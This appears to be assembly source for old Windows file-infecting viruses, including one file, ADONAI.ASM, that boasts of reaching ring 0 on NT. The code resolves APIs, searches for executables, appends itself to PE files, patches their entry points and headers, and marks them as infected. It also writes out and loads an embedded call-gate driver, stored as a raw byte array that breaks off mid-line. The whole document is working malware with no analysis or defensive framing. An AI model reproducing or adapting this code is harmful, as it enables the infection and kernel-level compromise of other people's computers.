;81621EE8 00 00 00 00 50 08 00 C0 2E 64 61 74 61 00 00 00 PBS À.data
;81621EF8 00 10 00 00 00 80 0C 00 00 00 00 00 00 B8 03 00 DLE €FF ¸ETX
;81621F08 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ À
;81621F18 40 00 00 A0 00 00 00 00 E0 1C 62 81 FF FF FF FF @ àFSb ÿÿÿÿ
;81621F28 E0 13 62 81 F0 13 62 81 18 00 08 00 8F 02 00 00 àDC3b ðDC3b CAN BS STX
;81621F38 08 00 00 00 00 00 00 00 00 00 40 00 D7 2B 01 00 BS @ ×+SOH
;81621F48 30 23 62 81 5C 1F 62 81 18 00 6C 1F 62 81 08 00 0#b \USb CAN lUSb BS
;81621F58 20 00 00 A0 43 3A 5C 57 49 4E 50 52 4F 47 5C 41 C:\WINPROG\A
;81621F68 5A 50 52 5C 41 5A 50 52 2E 45 58 45 00 CC CC CC ZPR\AZPR.EXE ÌÌÌ
;81621F78 B4 03 00 A0 4E 45 01 00 00 00 00 00 00 00 8C 03 ´ETX NESOH ŒETX

; ....

.586P
PMMX ; WORF... ... JEJEJE
.MODEL FLAT
LOCALS

EXTRN ExitProcess:PROC
MIX_SIZ EQU (FILE_END - MEGAMIX)

MACROSIZE MACRO
DB MIX_SIZ/00100 mod 10 + "0"
DB MIX_SIZ/00010 mod 10 + "0"
DB MIX_SIZ/00001 mod 10 + "0"
ENDM
.DATA
DB 0

DB 'SIZE = '
MACROSIZE

.CODE

MEGAMIX:
; EAX: EIP
; ESI: BUFFER

VINT21:
DD 0BFF712B9h ; MOV ECX,048BFF71H ;-) Z0MBiE
DB 'H' ; HenKy ;P
XCHG EDI, EAX ; EDI: DELTA
MOV EDX,ESI ; EDX=ESI: CACHE BUFFER (ESPORE BUG)
MOV ESI,0C1000000H ; ESI: MY DATA BUFFER
MOV EBP,EDI ; NOW: EBP=EDI=DELTA=INT21H

;EDX: POINTER TO FNAME

;LEA EDX,POPOPOP ; FOR DEBUG ONLY


;JMP KAA

MOV ECX,28000 ; LIMIT


PUSHAD

AMIMELASUDA:

POPAD
PORK:
INC EDX
CMP WORD PTR [EDX],':C'
JE KAA
LOOP PORK

WARNING:
PUSH 00401000H ; ANOTHER ESPORE BUG CORRECTED :)
RET

KAA:
PUSHAD
MOV AX, 3D02h ; open
CALL [EDI]
JC AMIMELASUDA
XCHG EBX, EAX
MOV EDX,ESI
XOR ECX,ECX
MOV CH,4H
MOV AH, 3Fh ;read
CALL [EDI]
MOV EAX, [EDX+3Ch]
ADD EAX,EDX
MOV EDI,EAX
PUSH 32
POP ECX

DEPOTA:
INC EDI
CMP BYTE PTR [EDI],'B'; HEHEHEHE
JE GOSTRO
JMP DEPOTA
GOSTRO:
INC EDI
PUSH EDI
MOV ESI,EBP
REP MOVSD
MOV ESI,EDI
POP EDI
SUB EDI,EDX
XCHG DWORD PTR [EAX+28H],EDI
CMP DI,1024
JB CLOZ
ADD EDI,[EAX+34H]
XCHG DWORD PTR [ESI-MONGORE],EDI

PUSH EBP
POP EDI
XOR EAX,EAX
PUSHAD
MOV AH, 42h
CDQ
CALL [EDI]
POPAD
MOV CH,4H
MOV AH,40H ; write
CALL [EDI]
CLOZ:
MOV AH,3EH ; close
CALL [EDI]
JMP AMIMELASUDA

FILE_END:

DW 0 ;-P

MONGORE EQU 95 ; OLD_EIP

PUSH 0
CALL ExitProcess

;POPOPOP DB "H:\PRUEBAS\TEST.ZZZ",0

END MEGAMIX
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ADONAI.ASM]ÄÄÄ
.586P
.MODEL FLAT
LOCALS

EXTRN ExitProcess:PROC

KERNEL95 EQU 0BFF70000h


MIX_SIZ EQU FILE_END-MEGAMIX
MIX_MEM EQU MEM_END-MEGAMIX
NABLA EQU DELTA-MEGAMIX
MARKA EQU 66
FLAGZ EQU 00000020H OR 20000000H OR 80000000H
MAX_PATH EQU 260

MACROSIZE MACRO

DB MIX_SIZ/01000 mod 10 + "0"


DB MIX_SIZ/00100 mod 10 + "0"
DB MIX_SIZ/00010 mod 10 + "0"
DB MIX_SIZ/00001 mod 10 + "0"

ENDM

; HA HA HA HA.... THE WORLD FIRST VIRUS ABLE TO JUMP INTO RING 0

; ON NT MACHINES (NT3.1, NT4 AND W2000)

.DATA
DB 0 ; ZERO :/
.CODE

MEGAMIX:

FNOP
DB 'henKy'
POP EBP
CALL DELTA
DELTA: POP EBP
MOV ECX,EBP
SUB ECX,NABLA
SUB ECX,00001000H
NEW_EIP EQU $-4
MOV DWORD PTR [EBP+BASE-DELTA],ECX

MOV EAX, [ESP]


XOR AX,AX
SZ:
CMP BYTE PTR [EAX],'M'
JZ F_GPA
SUB EAX,1000H
JMP SZ

F_GPA:
MOV EBX, [EAX+3Ch]
ADD EBX, EAX
MOV EBX, [EBX+120]
ADD EBX, EAX ; BEST METHOD :P
MOV ESI, [EBX+(3*4)]
ADD ESI, EAX
MOV EDX, [EBX+(8*4)]
ADD EDX, EAX
MOV ECX, [EBX+(6*4)]
DEC ECX

FIND_GPA:

MOV EDI, [EDX+(ECX*4)]


ADD EDI, EAX
PUSHAD
CALL GAP
DB "GetProcAddress",0
GAP:
POP ESI
PUSH 15
POP ECX
REPE CMPSB
POPAD
JNE LOOP_FGPA

MOV ESI, [EBX+(9*4)]


ADD ESI, EAX
MOVZX ESI, WORD PTR [ESI+(ECX*2)]
MOV EBX, [EBX+(7*4)]
ADD EBX, EAX
LEA EBX, [EBX+(ESI*4)]
MOV ESI, [EBX]
ADD ESI, EAX
MOV [EBP+GPA-DELTA], ESI

LOOP_FGPA:

LOOP FIND_GPA
XCHG EAX,EBX
LEA ESI, [EBP+APIs-DELTA]
LEA EDI, [EBP+APIaddresses-DELTA]

GPI: PUSH ESI


PUSH EBX
CALL [EBP+GPA-DELTA]
CLD
STOSD

NPI:
LODSB
OR AL, AL
JNZ SHORT NPI
CMP [ESI], AL
JNZ GPI

LEA EAX,[EBP+DLLN-DELTA]
MOV ECX,DLL_SIZ
CALL CREADOR

CDQ
PUSH EDX
LEA EBX, [EBP+BYTES-DELTA]
PUSH EBX
PUSH DLL_SIZ
LEA EAX, [EBP+DLL-DELTA]
PUSH EAX
PUSH DWORD PTR [EBP+FileHandle-DELTA]
CALL DWORD PTR [EBP+WriteFileA-DELTA]
PUSH DWORD PTR [EBP+FileHandle-DELTA]
CALL DWORD PTR [EBP+CloseHandle-DELTA]

LEA EAX,[EBP+SYSN-DELTA]
MOV ECX,SYS_SIZ
CALL CREADOR

CDQ
PUSH EDX
LEA EBX, [EBP+BYTES-DELTA]
PUSH EBX
PUSH SYS_SIZ
LEA EAX, [EBP+SYS-DELTA]
PUSH EAX
PUSH DWORD PTR [EBP+FileHandle-DELTA]
CALL DWORD PTR [EBP+WriteFileA-DELTA]

PUSH DWORD PTR [EBP+FileHandle-DELTA]


CALL DWORD PTR [EBP+CloseHandle-DELTA]
JMP INIT_E

RETURN:

LEA EAX,[EBP+DLLN-DELTA]
PUSH EAX
CALL [EBP+FreeLibraryA-DELTA]

LEA EAX, [EBP+SYSN-DELTA]


PUSH EAX
CALL DWORD PTR [EBP+DeleteFileA-DELTA]

LEA EAX,[EBP+DLLN-DELTA]
PUSH EAX
CALL DWORD PTR [EBP+DeleteFileA-DELTA]
INFECT:

LEA EAX, [EBP+OFFSET Win32FindData-DELTA]


PUSH EAX
LEA EAX, [EBP+OFFSET IMASK-DELTA]
PUSH EAX
CALL DWORD PTR [EBP+FindFirstFile-DELTA]
MOV DWORD PTR [EBP+SearcHandle-DELTA],EAX

LOOPER:
INC EAX
JZ WARNING
DEC EAX
OR EAX,EAX
JNZ ALLKEY

WARNING:

EXIT:
MOV EAX,12345678H
ORG $-4
OLD_EIP DD 00001000H

ADD EAX,12345678H
ORG $-4
BASE DD 00400000H
PUSH EAX
RET

ALLKEY:

PUSH DWORD PTR [EBP+OLD_EIP-DELTA]


PUSH DWORD PTR [EBP+NEW_EIP-DELTA]
CDQ
PUSH EDX
PUSH 80h
PUSH 3
PUSH EDX
PUSH EDX
PUSH 0C0000000h
LEA EAX ,[EBP+offset FNAME-DELTA] ; OPEN IT!
PUSH EAX
CALL DWORD PTR [EBP+CreateFile-DELTA]

INC EAX
JZ Cerrar
DEC EAX
MOV DWORD PTR [EBP+FileHandle-DELTA],EAX ; SAVE HNDL
MOV ECX, DWORD PTR [EBP+WFD_nFileSizeLow-DELTA]
CALL CreateMap ; CREATE A MAP
OR EAX,EAX
JZ Cerrar
MOV DWORD PTR [EBP+MapHandle-DELTA],EAX
MOV ECX, DWORD PTR [EBP+WFD_nFileSizeLow-DELTA]
CALL MapFile ; MEMORY PROYECTION

OR EAX,EAX
JZ Cerrar
MOV DWORD PTR [EBP+MapAddress-DELTA],EAX
MOV ESI,EAX ; GET PE HDR
MOV ESI,[EAX+3CH]
ADD ESI,EAX
CMP BYTE PTR [ESI],"P" ; IS A 'P'E ?
JNZ Cerrar
CMP BYTE PTR [ESI+MARKA],"H" ; HenKy IS HERE ?
JZ Cerrar

PUSH DWORD PTR [ESI+3CH]


PUSH DWORD PTR [EBP+MapAddress-DELTA] ; CLOSE
CALL DWORD PTR [EBP+UnmapViewOfFile-DELTA]
PUSH DWORD PTR [EBP+MapHandle-DELTA]
CALL DWORD PTR[EBP+CloseHandle-DELTA]
POP ECX
MOV EAX,DWORD PTR [EBP+WFD_nFileSizeLow-DELTA] ; MAP AGAIN WIHT VIRSIZE
ADD EAX,MIX_SIZ

CALL Align

XCHG ECX,EAX
MOV DWORD PTR [EBP+NewSize-DELTA],ECX
CALL CreateMap
OR EAX,EAX
JZ Cerrar
MOV DWORD PTR [EBP+MapHandle-DELTA],EAX
MOV ECX,DWORD PTR [EBP+NewSize-DELTA]
CALL MapFile

OR EAX,EAX ; IM TIRED TO REPEAT THIS SHIT !!!


JZ Cerrar
MOV DWORD PTR [EBP+MapAddress-DELTA],EAX ; AGAIN
MOV ESI,[EAX+3CH]
ADD ESI,EAX
MOV EDI,ESI
MOVZX EAX,WORD PTR [EDI+06H]
DEC EAX
IMUL EAX,EAX,28H
ADD ESI,EAX
ADD ESI,78H
MOV EDX,[EDI+74H]
SHL EDX,3
ADD ESI,EDX
PUSHAD
CMP DWORD PTR [ESI],"ler."
JNZ NO_REL
MOV DWORD PTR [ESI],"eti."
MOV WORD PTR [ESI+4],"tx"

NO_REL:
POPAD
MOV EAX,[EDI+28H]
MOV DWORD PTR [EBP+OLD_EIP-DELTA],EAX ;SAVE OLD EIP
MOV EDX,[ESI+10H]
MOV EBX,EDX
ADD EDX,[ESI+14H]
PUSH EDX
MOV EAX,EBX
ADD EAX,[ESI+0CH]
MOV DWORD PTR [EBP+NEW_EIP-DELTA],EAX
XCHG EAX,[EDI+28H] ; NEW EIP
MOV EAX,[ESI+10H]
ADD EAX,MIX_SIZ
MOV ECX,[EDI+3CH]

CALL Align

MOV [ESI+10H],EAX ;NEW PHYSSIZE


MOV [ESI+08H],EAX ;NEW VIRTSIZE
POP EDX
MOV EAX,[ESI+10H]
ADD EAX,[ESI+0CH]
MOV [EDI+50H],EAX ; NEW IMAGESIZE
OR DWORD PTR [ESI+24H],FLAGZ
MOV BYTE PTR [EDI+MARKA],"H" ; HenKy!
LEA ESI,[EBP+MEGAMIX-DELTA]
XCHG EDI,EDX
ADD EDI,DWORD PTR [EBP+MapAddress-DELTA]
PUSH (MIX_SIZ / 4)
POP ECX
REP MOVSD

UnMapFile:

PUSH DWORD PTR [EBP+MapAddress-DELTA]


CALL DWORD PTR [EBP+UnmapViewOfFile-DELTA]

CloseMap:

PUSH DWORD PTR [EBP+MapHandle-DELTA]


CALL DWORD PTR [EBP+CloseHandle-DELTA]

Cerrar:

POP DWORD PTR [EBP+NEW_EIP-DELTA]


POP DWORD PTR [EBP+OLD_EIP-DELTA]
PUSH DWORD PTR [EBP+FileHandle-DELTA]
CALL DWORD PTR [EBP+CloseHandle-DELTA]

TOPO:

LEA EAX, [EBP+offset Win32FindData-DELTA]


PUSH EAX
PUSH DWORD PTR [EBP+SearcHandle-DELTA]
CALL DWORD PTR [EBP+FindNextFile-DELTA]
JMP LOOPER

CreateMap:

CDQ
PUSH EDX
PUSH ECX
PUSH EDX
PUSH 4H
PUSH EDX
PUSH DWORD PTR [EBP+FileHandle-DELTA]
CALL DWORD PTR [EBP+CreateFileMappingA-DELTA]
RET

MapFile:

CDQ
PUSH ECX
PUSH EDX
PUSH EDX
INC EDX
INC EDX
PUSH EDX
PUSH DWORD PTR [EBP+MapHandle-DELTA]
CALL DWORD PTR [EBP+MapViewOfFile-DELTA]
RET

CREADOR:

CDQ
PUSH EDX
PUSH ECX
INC EDX
PUSH EDX
DEC EDX
PUSH EDX
PUSH EDX
PUSH 80000000h + 40000000h
PUSH EAX
CALL DWORD PTR [EBP+CreateFile-DELTA]
MOV DWORD PTR [EBP+FileHandle-DELTA],EAX
RET

Align:
PUSH EDX
CDQ
PUSH EAX
DIV ECX
POP EAX
SUB ECX,EDX
ADD EAX,ECX
POP EDX
RET

INIT_E:
CALL MY
MY:
POP EDI
SUB EDI,OFFSET MY

PUSH EBP
MOV EBP,ESP
SUB ESP,18H
PUSH ESI

CALL SEL32

DLLN DB 'callgate.dll',00h

SEL32:

CALL [EDI+LoadLibraryA]
PUSH EAX
CALL EXEC

DB '_CreateCallGate@12',00h

EXEC:

PUSH EAX
CALL [EDI+GPA]
MOV EBX,EAX

LEA EAX,DWORD PTR [EBP-2]


PUSH EAX
PUSH 3
LEA EAX ,[EDI+RING0]
PUSH EAX
CALL EBX
TEST EAX,EAX
JNE ERROR

MOV CX,WORD PTR [EBP-2]


MOV WORD PTR [EBP-14h],CX
ADD ESP,8

DW 05dffh
DB 0e8h
ERROR:
XOR EAX,EAX
POP ESI
MOV ESP,EBP
POP EBP
JMP RETURN

RING0:

PUSH EBP
MOV EBP,ESP
PUSHAD
MOV AX, 1000
MOV BX, 200
MOV CX, AX
MOV AL, 0b6h
OUT 43h, AL
MOV DX, 0012h
MOV AX, 34dch
DIV CX
OUT 42h, AL
MOV AL,AH
OUT 42h, AL
IN AL, 61h
MOV AH, AL
OR AL, 03h
OUT 61h, AL
l1:
MOV ECX, 9680
l2:
LOOP l2
DEC BX
JNZ l1
MOV AL, AH
OUT 61h, AL
POPAD
POP EBP
RETF 0Ch

SYSN DB 'callgate.sys',0

APIs:
DB "CreateFileA",0
DB "CloseHandle",0
DB "FindFirstFileA",0
DB "FindNextFileA",0
DB "ReadFile",0
DB "MapViewOfFile",0
DB "UnmapViewOfFile",0
DB "CreateFileMappingA",0
DB "LoadLibraryA",0
DB "FreeLibrary",0
DB "WriteFile",0
DB "DeleteFileA",0
Zero_ DB 0

IMASK DB '*.zzz',0 ; FOR DEBUGZZZZ

GPA_95 DB 0C2H,04H,00H,57H,6AH,22H,2Bh,0D2H

GPA_NT DB 0C2H,04H,00H,55H,8Bh,4CH,24H,0CH

GPA_2KB DB 48H,03H,00H,55H,8Bh,0ECh,51H,51H

;GPA_2K DB 00FH,00H,00H,55H,8Bh,0ECh,51H,51H

DLL_SIZ EQU 18944

DLL DB 04DH,05AH,090H,000H,003H,000H,000H,000H,004H,000H,000H,000H,0FFH,0FFH
DB 000H,000H,0B8H,000H,000H,000H,000H,000H,000H,000H,040H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,080H,000H,000H,000H,00EH,01FH,0BAH,00EH,000H,0B4H,009H,0CDH,021H,0B8H
DB 001H,04CH,0CDH,021H,054H,068H,069H,073H,020H,070H,072H,06FH,067H,072H,061H
DB 06DH,020H,063H,061H,06EH,06EH,06FH,074H,020H,062H,065H,020H,072H,075H,06EH
DB 020H,069H,06EH,020H,044H,04FH,053H,020H,06DH,06FH,064H,065H,02EH,00DH,00DH
DB 00AH,024H,000H,000H,000H,000H,000H,000H,000H,050H,045H,000H,000H,04CH,001H
DB 005H,000H,0E1H,08EH,063H,033H,000H,000H,000H,000H,000H,000H,000H,000H,0E0H
DB 000H,00EH,021H,00BH,001H,003H,000H,000H,028H,000H,000H,000H,074H,000H,000H
DB 000H,000H,000H,000H,0B0H,016H,000H,000H,000H,010H,000H,000H,000H,040H,000H
DB 000H,000H,000H,000H,010H,000H,010H,000H,000H,000H,002H,000H,000H,004H,000H
DB 000H,000H,000H,000H,000H,000H,004H,000H,000H,000H,000H,000H,000H,000H,000H
DB 0E0H,000H,000H,000H,004H,000H,000H,000H,000H,000H,000H,002H,000H,000H,000H
DB 000H,000H,010H,000H,000H,010H,000H,000H,000H,000H,010H,000H,000H,010H,000H
DB 000H,000H,000H,000H,000H,010H,000H,000H,000H,060H,040H,000H,000H,06CH,000H
DB 000H,000H,000H,0C0H,000H,000H,050H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,0D0H,000H,000H,00CH,003H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 024H,0C1H,000H,000H,0D4H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,02EH,074H,065H,078H,074H,000H,000H,000H,0CBH,027H,000H,000H,000H
DB 010H,000H,000H,000H,028H,000H,000H,000H,004H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,020H,000H,000H,060H,02EH,072H,064H
DB 061H,074H,061H,000H,000H,0CCH,000H,000H,000H,000H,040H,000H,000H,000H,002H
DB 000H,000H,000H,02CH,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,040H,000H,000H,040H,02EH,064H,061H,074H,061H,000H,000H,000H
DB 048H,065H,000H,000H,000H,050H,000H,000H,000H,010H,000H,000H,000H,02EH,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,040H,000H
DB 000H,0C0H,02EH,069H,064H,061H,074H,061H,000H,000H,08AH,005H,000H,000H,000H
DB 0C0H,000H,000H,000H,006H,000H,000H,000H,03EH,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,040H,000H,000H,0C0H,02EH,072H,065H
DB 06CH,06FH,063H,000H,000H,06CH,005H,000H,000H,000H,0D0H,000H,000H,000H,006H
DB 000H,000H,000H,044H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,040H,000H,000H,042H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H,000H,083H,0ECH,014H,056H,057H,08BH,074H,024H,028H,085H
DB 0F6H,075H,00DH,0B8H,002H,000H,000H,000H,05FH,05EH,083H,0C4H,014H,0C2H,00CH
DB 000H,08DH,044H,024H,008H,08BH,00DH,03CH,050H,000H,010H,050H,068H,030H,0A0H
DB 000H,010H,051H,0E8H,000H,003H,000H,000H,083H,0C4H,00CH,085H,0C0H,075H,00DH
DB 0B8H,001H,000H,000H,000H,05FH,05EH,083H,0C4H,014H,0C2H,00CH,000H,08DH,044H
DB 024H,00CH,033H,0C9H,08BH,054H,024H,020H,051H,089H,008H,089H,048H,004H,089H
DB 048H,008H,08BH,044H,024H,028H,08DH,04CH,024H,01CH,089H,054H,024H,010H,08DH
DB 054H,024H,010H,051H,089H,044H,024H,018H,06AH,00CH,08BH,044H,024H,014H,052H
DB 08DH,054H,024H,01CH,06AH,00CH,052H,08BH,03DH,050H,0C1H,000H,010H,068H,0C0H
DB 020H,000H,083H,050H,0FFH,0D7H,085H,0C0H,075H,027H,08BH,044H,024H,008H,050H
DB 0FFH,015H,090H,0C1H,000H,010H,08BH,00DH,03CH,050H,000H,010H,051H,0E8H,0EDH
DB 003H,000H,000H,083H,0C4H,004H,0B8H,003H,000H,000H,000H,05FH,05EH,083H,0C4H
DB 014H,0C2H,00CH,000H,066H,081H,07CH,024H,016H,000H,020H,072H,048H,08DH,044H
DB 024H,018H,06AH,000H,08DH,04CH,024H,010H,050H,08BH,044H,024H,010H,06AH,00CH
DB 051H,06AH,00CH,08DH,04CH,024H,020H,051H,068H,0C4H,020H,000H,083H,050H,0FFH
DB 0D7H,08BH,04CH,024H,008H,051H,0FFH,015H,090H,0C1H,000H,010H,08BH,00DH,03CH
DB 050H,000H,010H,051H,0E8H,09CH,003H,000H,000H,083H,0C4H,004H,0B8H,002H,000H
DB 000H,000H,05FH,05EH,083H,0C4H,014H,0C2H,00CH,000H,08BH,044H,024H,008H,050H
DB 0FFH,015H,090H,0C1H,000H,010H,066H,08BH,054H,024H,014H,033H,0C9H,066H,08BH
DB 04CH,024H,016H,066H,089H,014H,04DH,030H,060H,000H,010H,066H,089H,00EH,0A1H
DB 03CH,050H,000H,010H,050H,0E8H,05FH,003H,000H,000H,083H,0C4H,004H,033H,0C0H
DB 05FH,05EH,083H,0C4H,014H,0C2H,00CH,000H,0CCH,0CCH,083H,0ECH,014H,056H,057H
DB 066H,08BH,07CH,024H,020H,066H,081H,0FFH,000H,020H,072H,00DH,0B8H,002H,000H
DB 000H,000H,05FH,05EH,083H,0C4H,014H,0C2H,004H,000H,00FH,0B7H,0C7H,08DH,034H
DB 045H,030H,060H,000H,010H,066H,081H,03EH,0FFH,0FFH,075H,00DH,0B8H,002H,000H
DB 000H,000H,05FH,05EH,083H,0C4H,014H,0C2H,004H,000H,08DH,044H,024H,008H,08BH
DB 00DH,03CH,050H,000H,010H,050H,068H,030H,0A0H,000H,010H,051H,0E8H,09EH,001H
DB 000H,000H,083H,0C4H,00CH,085H,0C0H,075H,00DH,0B8H,001H,000H,000H,000H,05FH
DB 05EH,083H,0C4H,014H,0C2H,004H,000H,066H,08BH,016H,08DH,044H,024H,00CH,033H
DB 0C9H,051H,089H,008H,089H,048H,004H,089H,048H,008H,08DH,044H,024H,01CH,066H
DB 089H,07CH,024H,01AH,050H,066H,089H,054H,024H,01CH,06AH,00CH,08DH,04CH,024H
DB 018H,08BH,044H,024H,014H,051H,06AH,00CH,08DH,04CH,024H,020H,051H,068H,0C4H
DB 020H,000H,083H,050H,0FFH,015H,050H,0C1H,000H,010H,085H,0C0H,075H,027H,08BH
DB 044H,024H,008H,050H,0FFH,015H,090H,0C1H,000H,010H,08BH,00DH,03CH,050H,000H
DB 010H,051H,0E8H,090H,002H,000H,000H,083H,0C4H,004H,0B8H,003H,000H,000H,000H
DB 05FH,05EH,083H,0C4H,014H,0C2H,004H,000H,066H,0C7H,006H,0FFH,0FFH,08BH,044H
DB 024H,008H,050H,0FFH,015H,090H,0C1H,000H,010H,08BH,00DH,03CH,050H,000H,010H
DB 051H,0E8H,064H,002H,000H,000H,083H,0C4H,004H,033H,0C0H,05FH,05EH,083H,0C4H
DB 014H,0C2H,004H,000H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,08BH,044H,024H,008H
DB 056H,057H,085H,0C0H,074H,00FH,083H,0F8H,001H,074H,034H,0B8H,001H,000H,000H
DB 000H,05FH,05EH,0C2H,00CH,000H,033H,0F6H,0BFH,0FFH,0FFH,000H,000H,066H,039H
DB 03CH,075H,030H,060H,000H,010H,074H,006H,056H,0E8H,0D0H,0FEH,0FFH,0FFH,046H
DB 081H,0FEH,000H,020H,000H,000H,072H,0E7H,0B8H,001H,000H,000H,000H,05FH,05EH
DB 0C2H,00CH,000H,068H,030H,0A0H,000H,010H,0BFH,030H,0A0H,000H,010H,068H,0E8H
DB 003H,000H,000H,0FFH,015H,04CH,0C1H,000H,010H,0B9H,0FFH,0FFH,0FFH,0FFH,02BH
DB 0C0H,0F2H,0AEH,0F7H,0D1H,080H,0B9H,02FH,0A0H,000H,010H,05CH,074H,033H,0BFH
DB 050H,050H,000H,010H,0B9H,0FFH,0FFH,0FFH,0FFH,02BH,0C0H,0F2H,0AEH,0F7H,0D1H
DB 02BH,0F9H,08BH,0D1H,08BH,0F7H,0B9H,0FFH,0FFH,0FFH,0FFH,0BFH,030H,0A0H,000H
DB 010H,02BH,0C0H,0F2H,0AEH,04FH,08BH,0CAH,0C1H,0E9H,002H,0F3H,0A5H,08BH,0CAH
DB 083H,0E1H,003H,0F3H,0A4H,0BFH,040H,050H,000H,010H,0B9H,0FFH,0FFH,0FFH,0FFH
DB 02BH,0C0H,0F2H,0AEH,0F7H,0D1H,02BH,0F9H,08BH,0D1H,08BH,0F7H,0B9H,0FFH,0FFH
DB 0FFH,0FFH,0BFH,030H,0A0H,000H,010H,02BH,0C0H,0F2H,0AEH,04FH,08BH,0CAH,0C1H
DB 0E9H,002H,0F3H,0A5H,08BH,0CAH,083H,0E1H,003H,0F3H,0A4H,0BFH,030H,060H,000H
DB 010H,0B8H,0FFH,0FFH,0FFH,0FFH,0B9H,000H,010H,000H,000H,0F3H,0ABH,0B8H,001H
DB 000H,000H,000H,05FH,05EH,0C2H,00CH,000H,0CCH,0CCH,0CCH,056H,057H,068H,03FH
DB 000H,00FH,000H,06AH,000H,06AH,000H,0FFH,015H,02CH,0C1H,000H,010H,08BH,0F8H
DB 08BH,074H,024H,00CH,08BH,044H,024H,010H,050H,056H,057H,0E8H,02DH,000H,000H
DB 000H,083H,0C4H,00CH,056H,057H,0E8H,063H,000H,000H,000H,08BH,04CH,024H,01CH
DB 083H,0C4H,008H,051H,056H,0E8H,0B5H,000H,000H,000H,083H,0C4H,008H,08BH,0F0H
DB 057H,0FFH,015H,030H,0C1H,000H,010H,08BH,0C6H,05FH,05EH,0C3H,0CCH,0CCH,0CCH
DB 0CCH,08BH,044H,024H,00CH,06AH,000H,06AH,000H,06AH,000H,06AH,000H,06AH,000H
DB 050H,06AH,001H,08BH,044H,024H,024H,06AH,003H,08BH,04CH,024H,024H,06AH,001H
DB 068H,0FFH,001H,00FH,000H,050H,050H,051H,0FFH,015H,03CH,0C1H,000H,010H,085H
DB 0C0H,075H,003H,033H,0C0H,0C3H,050H,0FFH,015H,030H,0C1H,000H,010H,0B8H,001H
DB 000H,000H,000H,0C3H,0CCH,08BH,044H,024H,008H,056H,08BH,04CH,024H,008H,057H
DB 068H,0FFH,001H,00FH,000H,050H,051H,0FFH,015H,038H,0C1H,000H,010H,08BH,0F8H
DB 085H,0FFH,075H,005H,033H,0C0H,05FH,05EH,0C3H,06AH,000H,06AH,000H,057H,0FFH
